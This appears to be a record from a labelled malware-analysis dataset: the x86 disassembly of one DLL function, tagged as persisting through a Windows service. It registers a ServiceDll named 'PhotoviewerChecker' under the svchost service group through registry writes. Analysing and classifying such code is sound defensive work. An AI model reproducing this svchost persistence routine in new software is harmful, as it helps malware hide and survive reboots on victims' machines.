Function at 0x10002a50
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002c916
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x1003c008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 0
xor eax, eax
push 0x25
push str._SystemRoot_System32_svchost.exe__k
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x220], 7
mov dword [ebp - 0x224], 0
mov word [ebp - 0x234], ax
call fcn.10001e00
push str.PhotoviewerChecker
lea edx, [ebp - 0x234]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24c]
call fcn.10002340
add esp, 4
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x220]
cmp eax, 8
jb 0x10002b0d
inc eax
lea ecx, [ebp - 0x234]
push eax
push dword [ebp - 0x234]
call fcn.10001f00
xor eax, eax
mov dword [ebp - 0x220], 7
cmp dword [ebp - 0x238], 8
mov word [ebp - 0x234], ax
lea eax, [ebp - 0x24c]
cmovae eax, dword [ebp - 0x24c]
push eax
push ecx
mov dword [ebp - 0x224], 0
call fcn.10002d30
push 0x208
mov dword [ebp - 0x254], eax
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.1001dc30
push str.PhotoviewerChecker
lea eax, [ebp - 0x21c]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x10002bb0
push 0x1003a310
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0x10035c1c
push eax
call fcn.1001d3ca
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10002bb5
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push esi
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10002c0a
push 0x1003a310
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x25c], str.RegSetValueEx_ServiceDll_
push eax
call fcn.1001d3ca
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x208
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.1001dc30
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
lea eax, [ebp - 0x21c]
push 0x104
push eax
call fcn.1001edee
add esp, 0x18
lea eax, [ebp - 0x250]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x21c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10002c81
push 0x1003a310
lea eax, [ebp - 0x260]
mov dword [ebp - 0x260], str.RegOpenKeyEx_Svchost_
push eax
call fcn.1001d3ca
push 0x26
push str.PhotoviewerChecker
push 7
push 0
push str.PhotoviewerChecker
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10002cc5
push 0x1003a310
lea eax, [ebp - 0x264]
mov dword [ebp - 0x264], str.RegSetValueEx_SvchostSERVICE_NAME_
push eax
call fcn.1001d3ca
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x250], 0
call fcn.10002890
lea ecx, [ebp - 0x24c]
mov esi, eax
call fcn.10001dc0
jmp 0x10002d0c
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10004f53
mov esp, ebp
pop ebp
ret